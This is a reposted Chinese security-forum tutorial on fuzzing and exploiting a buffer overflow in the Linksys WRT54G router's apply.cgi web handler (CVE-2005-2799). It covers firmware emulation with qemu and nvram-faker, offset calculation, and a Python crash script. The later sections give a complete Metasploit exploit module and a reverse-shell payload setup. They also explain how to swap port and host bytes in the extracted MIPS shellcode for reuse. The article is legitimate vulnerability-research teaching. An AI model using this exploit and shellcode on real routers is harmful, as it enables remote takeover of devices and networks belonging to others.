从模糊测试到漏洞利用--WRT54G无线路由器漏洞挖掘分析实战
2020-03-21 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:468 收藏


本文为看雪论坛优秀文章
看雪论坛作者ID:cloud闲云

概述:无线路由器被广泛使用在工业、企业、家庭的网络环境中,无线路由器安全漏洞研究是物联网安全研究的重要领域之一。

目前很多网上无线路由器漏洞分析的文章直接翻译的国外文章,但实际做起来会发现存在各种问题。

本文根据实际实验,从环境搭建、模糊测试、漏洞利用三个阶段完整展现无线路由器web服务器缓存区溢出漏洞挖掘分析的详细过程。

一、简介

无线路由器被广泛使用在工业、企业、家庭的网络环境中,无线路由器安全漏洞研究是物联网安全研究的重要领域。本文为你展现无线路由器web服务器缓存区溢出漏洞的模糊测试到漏洞利用的详细过程。

二、WRT54G漏洞分析环境建立

>>>>

建立交叉编译环境


下载musl-cross : git clone https://github.com/GregorR/musl-cross.git。在 config.sh中增加

CFLAGS="-fPIC"
TRIPLE=mipsel-linux-musl

在defs.sh中修改
LINUX_HEADERS_URL=https://kernel.org/pub/linux/kernel/v2.6/longterm/v2.6.32/linux-2.6.32.70.tar.xz in defs.sh

运行 ./build.sh
交叉编译环境将被安装在/opt/cross目录。

在profile中增加
export MIPSEL_HOME=/opt/cross/mipsel-linux-musl
export PATH=$PATH: $MIPSEL_HOME/bin
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$MIPSEL_HOME/lib
export LD_LIBRARY_PATH

>>>>

安装IDA插件


三、WRT54G固件漏洞研究

>>>>

固件下载

http://dl-sh-ocn-1.pchome.net/2s/9o/linksys_wrt54gv2_fw4007.zip?key=5df0916ed9d62e2a295dbc6dddb2ba9d&tmp=1492133581036
root@aflfuzz:~# binwalk -e WRT54GV3.1_4.00.7_US_code.bin

>>>>

WRT54G httod服务器模糊测试

在firmadyne虚拟环境运行防火墙(见《嵌入式固件自动化分析环境firmadyne使用详细教程》)。使用burpesuite测试apply.cgi请求可以导致httpd服务崩溃。说明该请求存在bug。方法:


点击start attack开始攻击,在攻击串超过10000后httpd服务器崩溃。


Firmadyne控制台也显示httpd had died:


>>>>

使用nvram-faker修复NVRAM

1. Qemu-mipsel虚拟运行防火墙/usr/sbin/httpd服务

为了进一步分析调试httpd服务,需要使用qemu-mipsel-static虚拟运行路由器中的httpd服务进程。(采取这个方式是因为直接在firmadyne环境里使用gdbserver实验无法远程调试)


root@aflfuzz:~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root# chroot ./ ./qemu-mipsel-static . /usr/sbin/httpd
/dev/nvram: No such file or directory

出现错误提示,因此需要修复nvarm硬件依赖。


下载:git clone https://github.com/zcutlip/nvram-faker.git

2. 修改nvram-faker增加劫持函数


原始fork函数会启动很多子进程导致程序调试复杂,所以需要劫持它,简化调试。


增加劫持get_mac_from_ip,修改nvram-faker.h文件添加fork函数:

#ifndef __NVRAM_FAKER_H__#define __NVRAM_FAKER_H__
char *nvram_get(const char *key);
int fork(void);char *get_mac_from_ip(const char*ip);#endif /* __NVRAM_FAKER_H__ */
修改nvram-faker.c添加fork、get_mac_from_ip函数int fork(void){ return 0;}
char *get_mac_from_ip(const char*ip){ char mac[]="00:50:56:C0:00:08"; char *rmac = strdup(mac); return rmac;}

3. 编译nvram-faker

root@aflfuzz:~/nvram-faker-master# ./buildmipsel.shmipsel-linux-gcc -Wall -I./contrib/inih -ggdb -DINI_MAX_LINE=2000 -DINI_USE_STACK=0 -fPIC -c -o nvram-faker.o nvram-faker.cmake -C ./contrib/inih ini.omake[1]: 正在进入目录 `/root/nvram-faker-master/contrib/inih'mipsel-linux-gcc -ggdb -DINI_MAX_LINE=2000 -DINI_USE_STACK=0 -fPIC -c -o ini.o ini.cmake[1]:正在离开目录 `/root/nvram-faker-master/contrib/inih'cp ./contrib/inih/ini.o .mipsel-linux-gcc -shared -o libnvram-faker.so nvram-faker.o ini.o -Wl,-nostdlib
root@aflfuzz:~/nvram-faker-master# lsarch.mk ini.o nvram-faker.c~ nvram-faker.obuildmipsel.sh libnvram-faker.so nvram-faker.h nvram.inibuildmipsel.sh~ LICENSE.txt nvram-faker.h~ README.mdbuildmips.sh Makefile nvram-faker-internal.hcontrib nvram-faker.c nvram_faker_main.c

4. 将libnvram-faker.so和同目录下的nvram.ini复制到WRT54G路由器的根文件系统中。


将buildroot交叉编译环境output/host/目录下libgcc_s.so.1(因为编译libnvaram-faker.so库用到了这个共享库)文件复制到路由器二进制根目录,复制后目录结构如下:

root@aflfuzz:~/ _R6200-V1.0.0.28_1.0.24.bin.extracted/squashfs-root# lsbin  etc  libnvram-faker.so  nvram.ini     proc             sbin  tmp    vardev  lib  mnt             prepare.sh  qemu-mipsel-static  sys   usr    www

5. 写如下prepare.sh脚本修改HTTPD执行环境


HTTPD在运行时需要对/var目录下的某些文件进行操作,而这些文件是在Linux启动过程中才会产生的,因此要先删除var目录,再创建。

Prepare.sh#!/bin/sh
rm varmkdir varmkdir ./var/runmkdir ./var/tmptouch ./var/run/locktouch ./var/run/crod.pidtouch httpd.pid

>>>>

使用qemu-mipsel-static试运行httpd

使用sudo运行:

root@aflfuzz:~# cd _WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-rootroot@aflfuzz:~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root#sudo chroot . ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd# sudo chroot . ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpdLOG_HTTPD=Unknownsetsockopt(SO_SNDTIMEO): Invalid argumentsetsockopt(SO_RCVTIMEO): Invalid argumenthttp_client_ip=Unknown/dev/nvram: No such file or directoryhttp_client_mac=Unknown/dev/nvram: No such file or directoryhttp_username=Unknownhttp_passwd=Unknownrouter_name=Unknownweb_wl_filter=Unknown

这时需要创建一些设备对象和修改nvram.ini文件。

>>>>

创建硬件设备及配置文件

使用firmadyne脚本改写的。


1) fixImage.sh

#!/bin/sh
# use busybox statically-compiled version of all binaries#BUSYBOX="busybox"# print input if not symlink, otherwise attempt to resolve symlinkresolve_link() { TARGET=$(readlink $1) if [ -z "$TARGET" ]; then echo "$1" fi echo "$TARGET"}
# make /etc and add some essential filesmkdir -p "$(resolve_link etc)"if [ ! -s etc/TZ ]; then echo "Creating etc/TZ!" mkdir -p "$(dirname $(resolve_link etc/TZ))" echo "EST5EDT" > "$(resolve_link etc/TZ)"fi
if [ ! -s etc/hosts ]; then echo "Creating etc/hosts!" mkdir -p "$(dirname $(resolve_link etc/hosts))" echo "127.0.0.1 localhost" > "$(resolve_link etc/hosts)"fi
if [ ! -s etc/passwd ]; then echo "Creating etc/passwd!" mkdir -p "$(dirname $(resolve_link etc/passwd))" echo "root::0:0:root:/root:/bin/sh" > "$(resolve_link etc/passwd)"fi
# make /dev and add default device nodes if current /dev does not have greater# than 5 device nodesmkdir -p "$(resolve_link dev)"FILECOUNT="$(find dev -maxdepth 1 -type b -o -type c -print | wc -l)"if [ $FILECOUNT -lt "5" ]; then echo "Warning: Recreating device nodes!"
mknod -m 660 dev/mem c 1 1 mknod -m 640 dev/kmem c 1 2 mknod -m 666 dev/null c 1 3 mknod -m 666 dev/zero c 1 5 mknod -m 444 dev/random c 1 8 mknod -m 444 dev/urandom c 1 9 mknod -m 666 dev/armem c 1 13
mknod -m 666 dev/tty c 5 0 mknod -m 622 dev/console c 5 1 mknod -m 666 dev/ptmx c 5 2
mknod -m 622 dev/tty0 c 4 0 mknod -m 660 dev/ttyS0 c 4 64 mknod -m 660 dev/ttyS1 c 4 65 mknod -m 660 dev/ttyS2 c 4 66 mknod -m 660 dev/ttyS3 c 4 67
mknod -m 644 dev/adsl0 c 100 0 mknod -m 644 dev/ppp c 108 0 mknod -m 666 dev/hidraw0 c 251 0
mkdir -p dev/mtd mknod -m 644 dev/mtd/0 c 90 0 mknod -m 644 dev/mtd/1 c 90 2 mknod -m 644 dev/mtd/2 c 90 4 mknod -m 644 dev/mtd/3 c 90 6 mknod -m 644 dev/mtd/4 c 90 8 mknod -m 644 dev/mtd/5 c 90 10 mknod -m 644 dev/mtd/6 c 90 12 mknod -m 644 dev/mtd/7 c 90 14 mknod -m 644 dev/mtd/8 c 90 16 mknod -m 644 dev/mtd/9 c 90 18 mknod -m 644 dev/mtd/10 c 90 20
mknod -m 644 dev/mtd0 c 90 0 mknod -m 644 dev/mtdr0 c 90 1 mknod -m 644 dev/mtd1 c 90 2 mknod -m 644 dev/mtdr1 c 90 3 mknod -m 644 dev/mtd2 c 90 4 mknod -m 644 dev/mtdr2 c 90 5 mknod -m 644 dev/mtd3 c 90 6 mknod -m 644 dev/mtdr3 c 90 7 mknod -m 644 dev/mtd4 c 90 8 mknod -m 644 dev/mtdr4 c 90 9 mknod -m 644 dev/mtd5 c 90 10 mknod -m 644 dev/mtdr5 c 90 11 mknod -m 644 dev/mtd6 c 90 12 mknod -m 644 dev/mtdr6 c 90 13 mknod -m 644 dev/mtd7 c 90 14 mknod -m 644 dev/mtdr7 c 90 15 mknod -m 644 dev/mtd8 c 90 16 mknod -m 644 dev/mtdr8 c 90 17 mknod -m 644 dev/mtd9 c 90 18 mknod -m 644 dev/mtdr9 c 90 19 mknod -m 644 dev/mtd10 c 90 20 mknod -m 644 dev/mtdr10 c 90 21
mkdir -p dev/mtdblock mknod -m 644 dev/mtdblock/0 b 31 0 mknod -m 644 dev/mtdblock/1 b 31 1 mknod -m 644 dev/mtdblock/2 b 31 2 mknod -m 644 dev/mtdblock/3 b 31 3 mknod -m 644 dev/mtdblock/4 b 31 4 mknod -m 644 dev/mtdblock/5 b 31 5 mknod -m 644 dev/mtdblock/6 b 31 6 mknod -m 644 dev/mtdblock/7 b 31 7 mknod -m 644 dev/mtdblock/8 b 31 8 mknod -m 644 dev/mtdblock/9 b 31 9 mknod -m 644 dev/mtdblock/10 b 31 10
mknod -m 644 dev/mtdblock0 b 31 0 mknod -m 644 dev/mtdblock1 b 31 1 mknod -m 644 dev/mtdblock2 b 31 2 mknod -m 644 dev/mtdblock3 b 31 3 mknod -m 644 dev/mtdblock4 b 31 4 mknod -m 644 dev/mtdblock5 b 31 5 mknod -m 644 dev/mtdblock6 b 31 6 mknod -m 644 dev/mtdblock7 b 31 7 mknod -m 644 dev/mtdblock8 b 31 8 mknod -m 644 dev/mtdblock9 b 31 9 mknod -m 644 dev/mtdblock10 b 31 10
mkdir -p dev/tts mknod -m 660 dev/tts/0 c 4 64 mknod -m 660 dev/tts/1 c 4 65 mknod -m 660 dev/tts/2 c 4 66 mknod -m 660 dev/tts/3 c 4 67fi
# create a gpio file required for linksys to make the watchdog happyif (grep -sq "dev/gpio/in" bin/gpio) || (grep -sq "dev/gpio/in" usr/lib/libcm.so) || (grep -sq "dev/gpio/in" usr/lib/libshared.so); then echo "Creating dev/gpio/in!" mkdir -p dev/gpio echo -ne "\xff\xff\xff\xff" > dev/gpio/infi
# prevent system from rebooting#echo "Removing /sbin/reboot!"#rm -f /sbin/rebootecho "Removing /etc/scripts/sys_resetbutton!"rm -f etc/scripts/sys_resetbutton
# add some default nvram entriesif grep -sq "ipv6_6to4_lan_ip" sbin/rc; then echo "Creating default ipv6_6to4_lan_ip!" echo -n "2002:7f00:0001::" > firmadyne/libnvram.override/ipv6_6to4_lan_ipfi
if grep -sq "time_zone_x" lib/libacos_shared.so; then echo "Creating default time_zone_x!" echo -n "0" > firmadyne/libnvram.override/time_zone_xfi
if grep -sq "rip_multicast" usr/sbin/httpd; then echo "Creating default rip_multicast!" echo -n "0" > firmadyne/libnvram.override/rip_multicastfi
if grep -sq "bs_trustedip_enable" usr/sbin/httpd; then echo "Creating default bs_trustedip_enable!" echo -n "0" > firmadyne/libnvram.override/bs_trustedip_enablefi
if grep -sq "filter_rule_tbl" usr/sbin/httpd; then echo "Creating default filter_rule_tbl!" echo -n "" > firmadyne/libnvram.override/filter_rule_tblfi
if grep -sq "rip_enable" sbin/acos_service; then echo "Creating default rip_enable!" echo -n "0" > firmadyne/libnvram.override/rip_enablefi

2) preInit.sh脚本

#!/bin/sh
[ -d dev ] || mkdir -p dev[ -d root ] || mkdir -p root[ -d sys ] || mkdir -p sys[ -d proc ] || mkdir -p proc[ -d tmp ] || mkdir -p tmpmkdir -p var/lock
mount -t sysfs sysfs sysmount -t proc proc procln -sf proc/mounts etc/mtab
mkdir -p dev/ptsmount -t devpts devpts dev/ptsmount -t tmpfs tmpfs /run

3) makeImage.sh脚本

#!/bin/bash
set -eset -u

echo "----Creating FIRMADYNE Directories----"mkdir "firmadyne/"mkdir "firmadyne/libnvram/"mkdir "firmadyne/libnvram.override/"
sh fixImage.sh
echo "----Setting up FIRMADYNE----"mknod -m 666 "firmadyne/ttyS1" c 4 65
cp "libnvram.so.mipsel" "firmadyne/libnvram.so"chmod a+x "firmadyne/libnvram.so"
cp "preInit.sh" "firmadyne/preInit.sh"chmod a+x "firmadyne/preInit.sh"

4) 修改nvram.ini


修改lan_hwaddr、lan_ipaddr,增加LOG_HTTPD等一些内容,修改后nvram.ini内容如下:

[config]os_name=linuxos_version=3.90.7.0os_date=Apr 26 2005os_server=stats_server=ct_modules=daylight_time=1upnp_port=9999upnp_ad_time=30upnp_sub_timeout=60upnp_conn_retries=10log_level=0lan_hwaddr=00:50:56:C0:00:08lan_ifname=eth0lan_ifnames=eth0 eth1 eth2 eth3lan_hwnames=lan1_ifname=wlan0lan_proto=dhcplog_enable=0log_ipaddr=0ntp_server=upnp_turn_on=1lan_ipaddr=10.0.0.141lan_bipaddr=10.0.0.255lan_netmask=255.255.255.0lan_ifnames=eth0lan_dhcp=0lan_proto=dhcplan_wins=lan_domain=lan_lease=86400lan_stp=0lan_route=ethConver=1ezc_enable=1ezc_version=2is_default=1friendly_name=littlebitchfw_disable=0filter_maclist=filter_macmode=denyfilter_client0=filter=onfilter_port=filter_rule1=filter_rule2=filter_rule3=filter_rule4=filter_rule5=filter_rule6=filter_rule7=filter_rule8=filter_rule9=filter_rule10=filter_tod1=filter_tod2=filter_tod3=filter_tod4=filter_tod5=filter_tod6=filter_tod7=filter_tod8=filter_tod9=filter_tod10=filter_tod_buf1=filter_tod_buf2=filter_tod_buf3=filter_tod_buf4=filter_tod_buf5=filter_tod_buf6=filter_tod_buf7=filter_tod_buf8=filter_tod_buf9=filter_tod_buf10=filter_ip_grp1=filter_ip_grp2=filter_ip_grp3=filter_ip_grp4=filter_ip_grp5=filter_ip_grp6=filter_ip_grp7=filter_ip_grp8=filter_ip_grp9=filter_ip_grp10=filter_mac_grp1=filter_mac_grp2=filter_mac_grp3=filter_mac_grp4=filter_mac_grp5=filter_mac_grp6=filter_mac_grp7=filter_mac_grp8=filter_mac_grp9=filter_mac_grp10=filter_web_host1=filter_web_host2=filter_web_host3=filter_web_host4=filter_web_host5=filter_web_host6=filter_web_host7=filter_web_host8=filter_web_host9=filter_web_host10=filter_web_url1=filter_web_url2=filter_web_url3=filter_web_url4=filter_web_url5=filter_web_url6=filter_web_url7=filter_web_url8=filter_web_url9=filter_web_url10=filter_port_grp1=filter_port_grp2=filter_port_grp3=filter_port_grp4=filter_port_grp5=filter_port_grp6=filter_port_grp7=filter_port_grp8=filter_port_grp9=filter_port_grp10=upnp_duration=3600upnp_advert_ttl=4upnp_advert_period=30upnp_enable=1wps_device_pin=12345678wps_version2=enabledwps_config_method=0x284wps_aplockdown_forceon=0wps_lock_start_cnt=3wps_lock_forever_cnt=3wps_aplockdown_disable=0wps_mixedmode=2wps_random_ssid_prefix=foobarwps_randomssid=foobar_ssidwan_ifnames=eth0wan_ifname=eth0wanif=eth0wan_ipaddr=0.0.0.0wan_netmask=0.0.0.0wan_hwaddr=01:23:45:67:89:abwan_hwaddr_def=01:23:45:67:89:abwan_hwname=wan_proto=dhcpwan_gateway=0.0.0.0wan_dns=wan_wins=wan_hostname=wan_domain=wan_lease=86400wan_primary=1wan_unit=0static_route=static_route_name=time_zone_x=0time_zone=-08 1 1timer_interval=3600router_disable=0rip_multicast=0wps_device_name=wrt54qemuwps_mfstring=netgearwps_modelname=wrt54wps_modelnum=1boardnum=1wps_wer_mode=allowwfa_port=9999wfa_adv_time=30wps_version2_num=1wps_pbc_apsta=enabledwps_ess_num=1console_loglevel=7restore_defaults=1sku_name=wla_wlanstate=lan_if=eth0wan_ifname=eth0time_zone=EST5EDTLOG_HTTPD=127.0.0.1http_username=adminhttp_passwd=adminrouter_name=wrt54router_disable=0web_wl_filter=bs_trustedip_enable=0

>>>>

加载/libnvram-faker.so运行httpd


不开启远程调试端口:

sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd

开启远程调试端口:
sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" -g 1234 ./usr/sbin/httpd

>>>>

使用IDA Pro远程调试

1. IDA Pro远程调试启动


1) 设置调试器选项





2) 在main函数入口设置断点



3) 附加到进程


附加成功后显示:


4) 按F9继续进程


2. 构造apply cgi的请求数据包


根据3.2章节模糊测试情况,使用msf里pattern_create.rb构造apply.cgi请求的post数据,放到burpsuite里重放。

Post数据构造命令如下:
root@kali:/opt/metasploit/apps/pro/msf3/tools# ./pattern_create.rb 26384

构造的post http请求如下:

POST /apply.cgi HTTP/1.1Accept-Encoding: identityContent-Length: 26384Host: 10.0.0.141Content-Type: application/x-www-form-urlencodedConnection: closeUser-Agent: Python-urllib/2.7
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk......完整代码请阅读原文查看

3. 计算崩溃点偏移


在httpd启动后,IDA附加到远程进程,然后使用burpsuite发送请求:


发送请求成功后进程崩溃。

此时可以在IDA view-pc窗口看到在地址:100041E8处是在post_buf全局变量后的另一个全局对象区,其起始字符串是:v3Mv,其偏移为:
root@kali:/opt/metasploit/apps/pro/msf3/tools# ./pattern_offset.rb v3Mv 26384
[*] Exact match at offset 10000


也就是说明:post_buf的大小是:10000字节


我们查看View-PC,对比原do_post_apply汇编代码,可以看到,发生崩溃后函数原函数strlen被字符串覆盖。


原函数汇编:


崩溃后strlen被0x54346854覆盖。

可见我们的缓冲区填充了strlen地址。如果我们填入的是可执行代码,那么当前PC指令劫持后程序继续执行就会到strlen函数所在地址去执行strlen函数时,就会实际上执行我们填充的代码。

这时恰好覆盖到strlen函数地址所需的长度为15042,可以通过如下方式计算得到:
root@kali:/opt/metasploit/apps/pro/msf3/tools# ./pattern_offset.rb 0x54346854 26384
[*] Exact match at offset 15042

这个0x54346854从崩溃提示就可以获取到。


4. 调试分析strlen被覆盖的精确长度


通过修改wrt54g_test.py测试脚本中字符串的布局,然后调试分析,观察do_post_apply函数中原 la $t9,strlen处,strlen被代替的unk_(16进制地址)可获得strlen被覆盖的精确位置。


最终确定strlen被精确覆盖长度的测试脚本如下:

import sysimport urllib2try:     target = sys.argv[1]except:     print "Usage: %s <target>" % sys.argv[0]     sys.exit(1)url = "http://%s/apply.cgi" % targetbuf  = "\x42"*10000+"\x43"*5044+"\x41"*4+"\x44"*11336      # POST parameter name#buf  = "\x42"*10000+"\x41"*1000      # POST parameter namereq = urllib2.Request(url, buf)print urllib2.urlopen(req).read()

测试效果:


Strlen处被4个A字符覆盖,如果此处是post_buf的首地址,程序将被劫持到post_buf首地址执行。


5. 构造攻击载荷


构造攻击载荷,一般有两种思路:一是覆盖函数的return地址,一是覆盖后续调用的其他函数地址。本实验中由于后续的指令是strlen执行,因此只需覆盖strlen就可以劫持程序的执行流程。


为了稳定起见,我们在post_buf长度后再扩展5044长度到10000(即:0x2710),这个区间全部填充post_buf的首地址。而在post_buf存储区间前面填充滑翔指令+shellcode。

只要溢出发生后程序跳15044长度后的post_buf首地址,这样在strlen劫持后可以跳转到post_buf首地址去执行shellcode。Mips中滑翔指令为“\x00”。

我们使用msf框架编写exploit。

linksys_apply_cgi_wrt54g.rb### This module requires Metasploit: http//metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {}) super(update_info(info, 'Name' => 'Linksys WRT54 Access Point apply.cgi Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers. According to iDefense who discovered this vulnerability, all WRT54G versions prior to 4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected. }, 'Author' => [ 'Yingjun.Yang' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2005-2799'], [ 'OSVDB', '19389' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'], ], 'Payload' => { 'Space' => 10000, 'DisableNops' => true, }, 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux', 'Targets' => [ # the middle of the intersection is our generic address #((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16) [ 'Generic', { 'Bufaddr' => 0x10001AD8}], ], 'DisclosureDate' => 'Sep 13 2005', 'DefaultTarget' => 0))
register_options( [ Opt::RHOST('192.168.1.1') ], self.class) end
# Approx size of the remaining space in the data segment after our buffer DataSegSize = 0x2710
def exploit c = connect
print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}") print_status("Shellcode length: #{payload.encoded.length}")
addr = [target['Bufaddr']].pack('V')
post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)
# print_status("Malicious request sent, do_ej should be overwritten")
req = c.request_cgi({ 'uri' => "/apply.cgi", 'method' => 'POST', 'data' => post_data }) c.send_request(req) print_status("payload sent complete!")
handler disconnect end
end

6. 执行攻击测试

载荷要使用linux/mipsle/shell_reverse_tcp,其他载荷会报错
在firmadyne中运行防火墙,方法见《嵌入式固件自动化分析环境firmadyne使用详细教程》。

运行后如图:


使用msf及刚才开发的exploit攻击,使用use加载exploit ,set payload设置载荷。


设置rhost(攻击目标),lhost(反向shell监听本地机)


Exploit执行攻击:


可以在IDA中在do_post函数中执行strlen之前下断点,然后使用qemu-mipsel调试分析程序,查看此时shellcode。

在使用linksys_apply_cgi_wrt54g.rb发起攻击后,IDA中指令会在strlen执行前的断点处暂停。
 

然后f7单步跟踪:


在地址:0x10004130后可以看到shellcode。

红线部分即为shellcode。


将红线部分二进制代码摘下来可放在其他脚本中开发exploit,其中:\x11\x5c\x0e\x3c \x11\x5c\xce\x35替换为反向连接端口号(\x11\x5c是我们目前设置的端口4444);\x00\x8d\x0e\x3c \x0a\x00\xce\x35替换为反向链接主机(\x0a\x00\x00\x8d是目前我们设置的地址:10.0.0.141)

- End -

看雪ID:cloud闲云

https://bbs.pediy.com/user-536783.htm 

*本文由看雪论坛 cloud闲云 原创,转载请注明来自看雪社区。

推荐文章++++

为了理解反汇编引擎而写的X86/X64反汇编引擎

捆绑包驱动锁首病毒分析

**游戏逆向分析笔记

对宝马车载apps协议的逆向分析研究

x86_64架构下的函数调用及栈帧原理

好书推荐


公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]
“阅读原文”一起来充电吧!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458304188&amp;idx=1&amp;sn=f283d729c9c8dc7c97bf3fa2029ce497&amp;chksm=b1818e3686f6072011e2d94780dc4f66eee9b2f444c7924d5f1774c5ffef083d875b0dea0e25#rd
如有侵权请联系:admin#unsafe.sh